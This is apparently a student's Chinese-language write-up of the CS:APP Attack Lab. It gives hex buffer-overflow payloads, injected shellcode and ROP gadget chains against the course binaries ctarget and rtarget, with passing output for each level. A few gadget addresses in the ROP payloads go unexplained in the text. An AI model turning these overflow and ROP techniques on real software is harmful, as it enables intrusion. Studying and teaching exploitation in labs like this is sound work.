CS:APP Attack Lab 实验报告
Cookie ID: 0x59b997fa
Target: Linux x86-64
Part I: Code Injection Attacks (ctarget)
在这一部分中,攻击手段主要是利用缓冲区溢出漏洞,将 shellcode 注入栈中并覆盖返回地址。
Level 1: Control Hijacking
目标:重定向程序流,使其在 getbuf 返回时执行 touch1 函数。
思路解析:
-
确定缓冲区大小:反汇编 getbuf 函数,发现 sub $0x28, %rsp,说明缓冲区大小为 40 字节。
-
确定目标地址:反汇编 touch1 函数,找到其入口地址为 0x4017c0。
-
构造 Payload:
使用 40 个字节的任意数据(如 00)填满缓冲区。
紧接其后填入 touch1 的地址(8字节,小端序),覆盖原本的返回地址。
构造的字符串:
Plaintext
1 2 3 4 5 6
| 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 C0 17 40 00 00 00 00 00
|
运行结果截图:
1 2 3 4 5 6 7 8 9 10
| ICS/attacklab/target1 via C v13.3.0-gcc took 16m59s ❯ ./hex2raw < c-level1.txt | ./ctarget -q Cookie: 0x59b997fa Type string:Touch1!: You called touch1() Valid solution for level 1 with target ctarget PASS: Would have posted the following: user id bovik course 15213-f15 lab attacklab result 1:PASS:0xffffffff:ctarget:1:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 C0 17 40 00 00 00 00 00
|
Level 2: Injecting Code
目标:注入代码,将 Cookie (0x59b997fa) 作为参数传递给 touch2 并执行。
思路解析:
-
参数传递:x86-64 架构中,第一个参数存放在 %rdi 寄存器。
-
注入代码编写:我们需要构造汇编指令 movq $0x59b997fa, %rdi。
-
跳转处理 (Push-Ret 技巧):
为了解决 Ubuntu 24.04+ 系统中 glibc 对栈 16 字节对齐的严格检查(防止 Segfault),我使用了 push $addr; ret 的方式跳转到 touch2,而不是直接 call 或 jmp。
汇编代码:
1 2 3
| movq $0x59b997fa, %rdi pushq $0x4017ec ret
|
-
栈地址定位:通过 GDB 调试发现缓冲区起始地址为 0x5561dc78。
-
Payload 结构:[注入代码] + [填充] + [覆盖返回地址指向缓冲区]。
构造的字符串:
Plaintext
1 2 3 4 5 6
| 48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc 61 55 00 00 00 00
|
运行结果截图:
1 2 3 4 5 6 7 8 9 10
| ICS/attacklab/target1 via C v13.3.0-gcc ❯ ./hex2raw < c-level2.txt | ./ctarget -q Cookie: 0x59b997fa Type string:Touch2!: You called touch2(0x59b997fa) Valid solution for level 2 with target ctarget PASS: Would have posted the following: user id bovik course 15213-f15 lab attacklab result 1:PASS:0xffffffff:ctarget:2:48 C7 C7 FA 97 B9 59 68 EC 17 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00
|
Level 3: String Attack
目标:注入代码,传递 Cookie 的字符串表示("59b997fa")的地址给 touch3。
思路解析:
-
字符串存储:将字符串数据放在 Payload 的最末尾,紧跟在返回地址之后,以防止被覆盖。
-
地址计算:
栈起点:0x5561dc78
偏移量:40字节(Buffer) + 8字节(Ret Addr) = 48字节 (0x30)。
字符串地址 = 0x5561dc78 + 0x30 = 0x5561dca8。
-
注入代码编写:
将计算出的字符串地址传给 %rdi。
同样使用 push $touch3; ret 技巧来维持栈对齐。
-
Payload 结构:[注入代码] + [填充] + [覆盖返回地址指向缓冲区] + [字符串数据]。
构造的字符串:
Plaintext
1 2 3 4 5 6 7
| 48 c7 c7 a8 dc 61 55 68 fa 18 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc 61 55 00 00 00 00 35 39 62 39 39 37 66 61
|
运行结果截图:
1 2 3 4 5 6 7 8 9 10
| ICS/attacklab/target1 via C v13.3.0-gcc ❯ ./hex2raw < c-level3.txt | ./ctarget -q Cookie: 0x59b997fa Type string:Touch3!: You called touch3("59b997fa") Valid solution for level 3 with target ctarget PASS: Would have posted the following: user id bovik course 15213-f15 lab attacklab result 1:PASS:0xffffffff:ctarget:3:48 C7 C7 A8 DC 61 55 68 FA 18 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 35 39 62 39 39 37 66 61
|
Part II: Return-Oriented Programming (rtarget)
在这一部分,目标程序 rtarget 开启了随机化和 NX 保护。我们无法在栈上执行代码,只能利用程序现有的代码片段(Gadgets)进行攻击。
Level 2: ROP for Touch2
目标:利用 Gadget 链将 Cookie 放入 %rdi 并跳转到 touch2。
思路解析:
-
寻找 Gadget:我们需要一个能从栈上弹出数据到 %rdi 的指令。
找到了 pop %rdi; ret (位于 0x4019ab)。
-
构造链条:
Padding (40字节)
Gadget 1 地址 (pop %rdi)
Cookie 数据 (0x59b997fa) —— pop 指令会把它取出来放进 %rdi。
目标函数地址 (touch2 = 0x4017ec)。
构造的字符串:
Plaintext
1 2 3 4 5 6 7 8 9
| 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ab 19 40 00 00 00 00 00 fa 97 b9 59 00 00 00 00 c5 19 40 00 00 00 00 00 ec 17 40 00 00 00 00 00
|
运行结果截图:
1 2 3 4 5 6 7 8 9 10
| ICS/attacklab/target1 via C v13.3.0-gcc ❯ ./hex2raw < r-level2.txt | ./rtarget -q Cookie: 0x59b997fa Type string:Touch2!: You called touch2(0x59b997fa) Valid solution for level 2 with target rtarget PASS: Would have posted the following: user id bovik course 15213-f15 lab attacklab result 1:PASS:0xffffffff:rtarget:2:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 AB 19 40 00 00 00 00 00 FA 97 B9 59 00 00 00 00 C5 19 40 00 00 00 00 00 EC 17 40 00 00 00 00 00
|
Level 3: ROP for Touch3
目标:利用 ROP 链传递字符串地址给 touch3。
思路解析:
-
难点:由于栈随机化,我们不知道字符串的确切地址。但字符串就在栈上(Payload 末尾),其地址等于 %rsp 加上某个偏移量。
-
核心逻辑:我们需要计算 %rsp + offset 并放入 %rdi。
-
Gadget 链设计:
mov %rsp, %rax; ret (0x401aad): 获取当前栈指针。
mov %rax, %rdi; ret (0x4019a2): 转移到 %rdi。
pop %rax; ret (0x4019cc): 从栈上加载偏移量到 %rax。
mov %eax, %edx; ret (0x4019dd): 转移偏移量到 %rdx (准备加法)。
add %rdx, %rdi; ret (0x401a70): %rdi = %rdi + %rdx (计算出字符串绝对地址)。
mov %rdi, %rax; ret (0x401a13): 整理数据(根据 farm 结构可能需要,或作为 nop 链)。
touch3 地址 (0x4018fa)。
字符串数据 ("59b997fa").
构造的字符串:
Plaintext
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ad 1a 40 00 00 00 00 00 a2 19 40 00 00 00 00 00 cc 19 40 00 00 00 00 00 48 00 00 00 00 00 00 00 dd 19 40 00 00 00 00 00 70 1a 40 00 00 00 00 00 13 1a 40 00 00 00 00 00 d6 19 40 00 00 00 00 00 a2 19 40 00 00 00 00 00 fa 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61
|
运行结果截图:
1 2 3 4 5 6 7 8 9 10
| ICS/attacklab/target1 via C v13.3.0-gcc ❯ ./hex2raw < r-level3.txt | ./rtarget -q Cookie: 0x59b997fa Type string:Touch3!: You called touch3("59b997fa") Valid solution for level 3 with target rtarget PASS: Would have posted the following: user id bovik course 15213-f15 lab attacklab result 1:PASS:0xffffffff:rtarget:3:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 AD 1A 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 CC 19 40 00 00 00 00 00 48 00 00 00 00 00 00 00 DD 19 40 00 00 00 00 00 70 1A 40 00 00 00 00 00 13 1A 40 00 00 00 00 00 D6 19 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 FA 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61
|
实验总结
本次实验通过 5 个关卡深入理解了缓冲区溢出攻击的原理。
- 栈结构理解:在 Code Injection 阶段,深刻体会了返回地址在栈上的位置以及如何计算偏移量。
- 系统保护机制:在
rtarget 中遭遇了 NX 和 ASLR,迫使我放弃注入代码,转而寻找现有的 Gadget,通过 ROP 技术完成任务。
- 环境兼容性:在
ctarget Level 2/3 中,遇到了 Ubuntu 24.04 对栈对齐的检查导致的 Segfault。通过利用 push $addr; ret 代替直接跳转,成功利用 push 对 %rsp 的修改修复了栈对齐问题。